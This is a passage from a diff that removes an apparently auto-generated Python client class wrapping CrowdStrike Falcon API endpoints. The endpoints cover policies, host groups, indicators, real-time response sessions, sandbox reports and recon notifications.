url=f"{url}/policy/entities/sensor-update-actions/v1?action_name={action_name}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def query_notifications(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter="", q=""): - params={} - request_headers={} - url=f"{url}/recon/queries/notifications/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - if q: - params["q"] = q - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_prevention_policies(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/combined/prevention/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_status_of_an_executed_active_responder_command_on_a_single_host(self, url, client_id, client_secret, cloud_request_id, sequence_id, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/active-responder-command/v1?cloud_request_id={cloud_request_id}&sequence_id={sequence_id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def execute_an_active_responder_command_on_a_single_host(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/active-responder-command/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def find_all_rule_ids(self, url, client_id, client_secret, headers="", queries="", sort="", filter="", q="", offset="", limit=""): - params={} - request_headers={} - url=f"{url}/ioarules/queries/rules/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if q: - params["q"] = q - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def set_precedence_of_prevention_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/prevention-precedence/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_indicators_ids(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter="", q="", include_deleted=""): - params={} - request_headers={} - url=f"{url}/intel/queries/indicators/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - if q: - params["q"] = q - if include_deleted: - params["include_deleted"] = include_deleted - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_sensor_update_policy_members(self, url, client_id, client_secret, headers="", queries="", id="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/combined/sensor-update-members/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def batch_refresh_a_rtr_session_on_multiple_hosts_rtr_sessions_will_expire_after_10_minutes_unless_refreshed(self, url, client_id, client_secret, headers="", queries="", timeout="", timeout_duration="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/combined/batch-refresh-session/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if timeout_duration: - params["timeout_duration"] = timeout_duration - body = " ".join(body.strip().split()).encode("utf-8") - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_queued_session_metadata_by_session_id(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/queued-sessions/GET/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def perform_action_on_the_device_control_policies(self, url, client_id, client_secret, action_name, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/device-control-actions/v1?action_name={action_name}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_scans_aggregations(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/scanner/aggregates/scans/GET/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_detailed_notifications_based_on_their_ids(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/recon/entities/notifications-detailed-translated/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_specific_indicators_using_their_indicator_ids(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/intel/entities/indicators/GET/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def find_all_rule_group_ids(self, url, client_id, client_secret, headers="", queries="", sort="", filter="", q="", offset="", limit=""): - params={} - request_headers={} - url=f"{url}/ioarules/queries/rule-groups/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if q: - params["q"] = q - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_falcon_malquery(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/malquery/queries/exact-search/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_available_builds_for_use_with_sensor_update_policies(self, url, client_id, client_secret, headers="", queries="", platform=""): - params={} - request_headers={} - url=f"{url}/policy/combined/sensor-update-builds/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_firewall_policies(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/queries/firewall/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_set_of_host_groups(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/devices/entities/host-groups/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_set_of_host_groups(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/devices/entities/host-groups/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_host_groups(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/devices/entities/host-groups/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_host_groups(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/devices/entities/host-groups/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_behaviors(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/incidents/queries/behaviors/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_incidents(self, url, client_id, client_secret, headers="", queries="", sort="", filter="", offset="", limit=""): - params={} - request_headers={} - url=f"{url}/incidents/queries/incidents/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_rule_groups_by_id(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/ioarules/entities/rule-groups/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_rule_groups_by_id(self, url, client_id, client_secret, ids, headers="", queries="", comment=""): - params={} - request_headers={} - url=f"{url}/ioarules/entities/rule-groups/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_a_rule_group(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/ioarules/entities/rule-groups/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_a_rule_group(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/ioarules/entities/rule-groups/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_all_rule_type_ids(self, url, client_id, client_secret, headers="", queries="", offset="", limit=""): - params={} - request_headers={} - url=f"{url}/ioarules/queries/rule-types/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_information_about_search_and_download_quotas(self, url, client_id, client_secret, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/malquery/aggregates/quotas/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def refresh_a_session_timeout_on_a_single_host(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/refresh-session/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def query_crowdscore(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/incidents/combined/crowdscores/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def perform_actions_on_incidents(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/incidents/entities/incident-actions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_info_about_actors(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter="", q="", fields=""): - params={} - request_headers={} - url=f"{url}/intel/combined/actors/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - if q: - params["q"] = q - if fields: - params["fields"] = fields - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_response_policy_members(self, url, client_id, client_secret, headers="", queries="", id="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/combined/response-members/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def batch_initialize_a_rtr_session_on_multiple_hosts__before_any_rtr_commands_can_be_used_an_active_session_is_needed_on_the_host(self, url, client_id, client_secret, headers="", queries="", timeout="", timeout_duration="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/combined/batch-init-session/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if timeout_duration: - params["timeout_duration"] = timeout_duration - body = " ".join(body.strip().split()).encode("utf-8") - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_rtr_extracted_file_contents_for_specified_session_and_sha256(self, url, client_id, client_secret, session_id, sha256, headers="", queries="", filename=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/extracted-file-contents/v1?session_id={session_id}&sha256={sha256}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_host_groups(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/devices/combined/host-groups/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_all_pattern_severity_ids(self, url, client_id, client_secret, headers="", queries="", offset="", limit=""): - params={} - request_headers={} - url=f"{url}/ioarules/queries/pattern-severities/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_indicators_by_ids(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/iocs/entities/indicators/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_indicators_by_ids(self, url, client_id, client_secret, headers="", queries="", filter="", ids="", comment=""): - params={} - request_headers={} - url=f"{url}/iocs/entities/indicators/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if ids: - params["ids"] = ids - if comment: - params["comment"] = comment - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_indicators(self, url, client_id, client_secret, headers="", queries="", retrodetects="", ignore_warnings="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/jsonX-CS-USERNAME"} - url=f"{url}/iocs/entities/indicators/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if ignore_warnings: - params["ignore_warnings"] = ignore_warnings - body = " ".join(body.strip().split()).encode("utf-8") - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_indicators(self, url, client_id, client_secret, headers="", queries="", retrodetects="", ignore_warnings="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/jsonX-CS-USERNAME"} - url=f"{url}/iocs/entities/indicators/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if ignore_warnings: - params["ignore_warnings"] = ignore_warnings - body = " ".join(body.strip().split()).encode("utf-8") - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_a_set_of_device_control_policies(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/device-control/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_a_set_of_device_control_policies(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/device-control/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_device_control_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/device-control/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_device_control_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/device-control/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_ioa_exclusions(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/queries/ioa-exclusions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_aggregates_on_session_data(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/aggregates/sessions/GET/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_a_session(self, url, client_id, client_secret, session_id, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/sessions/v1?session_id={session_id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def initialize_a_new_session_with_the_rtr_cloud(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/sessions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_a_full_sandbox_report(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/falconx/entities/reports/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_report(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/falconx/entities/reports/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_ml_exclusions(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/queries/ml-exclusions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_sensor_update_policy_ids(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/queries/sensor-update/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_a_queued_session_command(self, url, client_id, client_secret, session_id, cloud_request_id, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/queued-sessions/command/v1?session_id={session_id}&cloud_request_id={cloud_request_id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def preview_rules_notification_count_and_distribution(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"X-CS-USERUUID": "undefined"} - url=f"{url}/recon/aggregates/rules-preview/GET/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_a_report_pdf_attachment(self, url, client_id, client_secret, id, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/intel/entities/report-files/v1?id={id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_a_set_of_prevention_policies(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/prevention/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_a_set_of_prevention_policies(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/prevention/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_prevention_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/prevention/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_prevention_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/prevention/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_putfiles_based_on_the_ids_given(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/put-files/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_a_putfile_based_on_the_ids_given(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/put-files/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def upload_a_new_putfile_to_use_for_the_rtr_put_command(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/put-files/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_a_list_of_session_ids(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter=""): - params={} - request_headers={} - url=f"{url}/real-time-response/queries/sessions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_list_of_samples(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/jsonX-CS-USERUUID"} - url=f"{url}/samples/queries/samples/GET/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def check_status_of_sandbox_analysis(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/falconx/entities/submissions/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def submit_upload_for_sandbox_analysis(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/falconx/entities/submissions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_number_of_hosts_that_have_observed_a_given_custom_ioc(self, url, client_id, client_secret, type, value, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/indicators/aggregates/devices-count/v1?type={type}&value={value}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def set_precedence_of_firewall_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/firewall-precedence/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_notification_aggregates(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/recon/aggregates/notifications/GET/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_actions_based_on_their_ids(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/recon/entities/actions/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_an_action_from_a_monitoring_rule_based_on_the_action_id(self, url, client_id, client_secret, id, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/recon/entities/actions/v1?id={id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_actions_for_a_monitoring_rule(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/recon/entities/actions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_an_action_for_a_monitoring_rule(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/recon/entities/actions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except 